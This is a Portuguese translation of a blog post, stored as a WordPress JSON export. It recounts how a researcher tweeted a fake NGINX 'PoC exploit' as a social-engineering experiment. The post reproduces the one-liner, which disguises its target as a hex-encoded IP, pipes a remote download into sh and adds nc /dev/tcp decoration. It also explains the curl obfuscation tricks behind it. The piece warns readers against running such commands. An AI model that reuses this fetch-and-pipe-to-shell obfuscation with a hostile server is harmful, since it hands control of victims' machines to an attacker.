{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"O sucesso do experimento social com um exploit falso para nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nota do tradutor.<\/b>: Autor:<\/a><\/noindex> uma nota original publicada em 1\u00ba de junho, decidiu realizar um experimento entre aqueles interessados em seguran\u00e7a da informa\u00e7\u00e3o. Para isso, ele preparou um exploit falso para uma vulnerabilidade n\u00e3o divulgada em um servidor web e o postou no seu Twitter. Suas suposi\u00e7\u00f5es \u2014 ser imediatamente desmascarado por especialistas que veriam a \u00f3bvia fraude no c\u00f3digo \u2014 n\u00e3o apenas n\u00e3o se confirmaram... Elas superaram todas as expectativas, mas de forma inversa: o tweet recebeu um enorme apoio de in\u00fameras pessoas que n\u00e3o verificaram seu conte\u00fado.<\/i><\/p>\n

\"O
\n
\nTL;DR: de forma alguma utilize a concateniza\u00e7\u00e3o de arquivos em sh ou bash. \u00c9 uma excelente maneira de perder o controle sobre o computador.<\/b><\/a><\/noindex><\/p>\n

Quero compartilhar com voc\u00eas uma pequena hist\u00f3ria sobre um PoC exploit humor\u00edstico que foi criado em 31 de maio. Ele surgiu rapidamente em resposta \u00e0 not\u00edcia de Alisa Esage Shevchenko<\/a><\/noindex>, membro da Zero Day Initiative<\/a><\/noindex> (ZDI), sobre a divulga\u00e7\u00e3o iminente de informa\u00e7\u00f5es sobre uma vulnerabilidade em NGINX que leva a RCE (execu\u00e7\u00e3o remota de c\u00f3digo). Como o NGINX est\u00e1 na base de muitos sites, a not\u00edcia deveria ter um efeito de bomba. Mas devido a atrasos no processo de 'divulga\u00e7\u00e3o respons\u00e1vel' das informa\u00e7\u00f5es, os detalhes do ocorrido n\u00e3o eram conhecidos \u2014 essa \u00e9 a rotina padr\u00e3o do ZDI.<\/p>\n

\"O
\nO tweet<\/a><\/noindex> sobre a vulnerabilidade em NGINX<\/i><\/p>\n

Terminado o trabalho em uma nova t\u00e9cnica de ofusca\u00e7\u00e3o no curl, eu citei o tweet original e 'vazei um PoC funcional', consistindo em uma linha de c\u00f3digo, que supostamente explorava a vulnerabilidade descoberta. Claro, isso era uma completa bobagem. Eu achei que me desmascarariam imediatamente, e que na melhor das hip\u00f3teses eu receberia alguns retweets (e tudo bem).<\/p>\n

\"O
\nO tweet<\/a><\/noindex> com o exploit falso<\/i><\/p>\n

No entanto, eu n\u00e3o conseguia imaginar o que aconteceu a seguir. A popularidade do meu tweet disparou. Surpreendentemente, at\u00e9 este momento (15:00 hora de Moscovo, 1\u00ba de junho) ainda s\u00e3o poucas as pessoas que perceberam que se tratava de uma falsifica\u00e7\u00e3o. Muitos retweetam sem checar (sem mencionar admirar a bela arte ASCII que ele gera).<\/p>\n

\"O
\nS\u00f3 olhem que beleza!<\/i><\/p>\n

Embora todos esses ciclos e cores sejam not\u00e1veis, \u00e9 evidente que, para v\u00ea-los, as pessoas precisavam executar o c\u00f3digo em suas m\u00e1quinas. Felizmente, os navegadores funcionam de forma semelhante e, considerando que problemas legais n\u00e3o s\u00e3o algo que eu busco, o c\u00f3digo escondido no meu site apenas fazia chamadas echo, sem tentar estabelecer ou executar qualquer c\u00f3digo adicional.<\/p>\n

Uma pequena digress\u00e3o: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, eu e outros membros da equipe Thugcrowd<\/a><\/noindex> temos brincado h\u00e1 algum tempo com diferentes maneiras de ofuscar comandos curl, porque \u00e9 divertido... e somos geeks. Netspooky e dnz descobriram algumas novas t\u00e9cnicas que me pareceram extremamente promissoras. Eu entrei na divers\u00e3o e tentei adicionar convers\u00f5es IP-decimais ao conjunto de truques. Descobri que o IP tamb\u00e9m pode ser convertido para o formato hexadecimal. Al\u00e9m disso, curl e a maioria das outras ferramentas NIX consomem alegremente IPs hexadecimais! Assim, achei que s\u00f3 precisava criar uma linha de comando convincente e com apar\u00eancia segura. No final, optei por esta:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OU-SERVIDOR-V\u00cdTIMA:443\/..\/....\/....\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Engenharia socioeletr\u00f4nica (S.E.E.) \u2014 mais do que apenas phishing<\/h2>\n
\nA seguran\u00e7a e a familiaridade foram partes fundamentais deste experimento. Acredito que foram elas que levaram ao seu sucesso. A linha de comando claramente sugeria seguran\u00e7a, referindo-se a \"127.0.0.1\" (o famoso localhost). Acredita-se que o localhost \u00e9 seguro e que os dados nele nunca saem do seu computador.<\/p>\n
A familiaridade foi o segundo componente chave da S.E.E. do experimento. Dado que o p\u00fablico-alvo consistia principalmente em pessoas familiarizadas com os fundamentos da seguran\u00e7a da computa\u00e7\u00e3o, era importante criar um c\u00f3digo cujas partes parecessem conhecidas e familiares (e, portanto, seguras). Pegar elementos de conceitos antigos de exploits e combin\u00e1-los de uma maneira n\u00e3o usual resultou ser bastante bem-sucedido.<\/p>\n
Abaixo est\u00e1 uma an\u00e1lise detalhada do one-liner. Tudo nesta lista \u00e9 de natureza cosm\u00e9tica<\/b>, e para seu funcionamento real, praticamente nada \u00e9 necess\u00e1rio.<\/i><\/p>\n
Quais componentes s\u00e3o realmente necess\u00e1rios? S\u00e3o estes: -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> e o pr\u00f3prio servidor web. O servidor web n\u00e3o continha instru\u00e7\u00f5es maliciosas, mas apenas transmitia gr\u00e1ficos ASCII usando comandos echo<\/code> no script contido em index.html<\/code>. Quando o usu\u00e1rio digitava uma string com |sh<\/code> no meio, index.html<\/code> era carregado e executado. Felizmente, os mantenedores do servidor web n\u00e3o tinham m\u00e1s inten\u00e7\u00f5es.<\/p>\n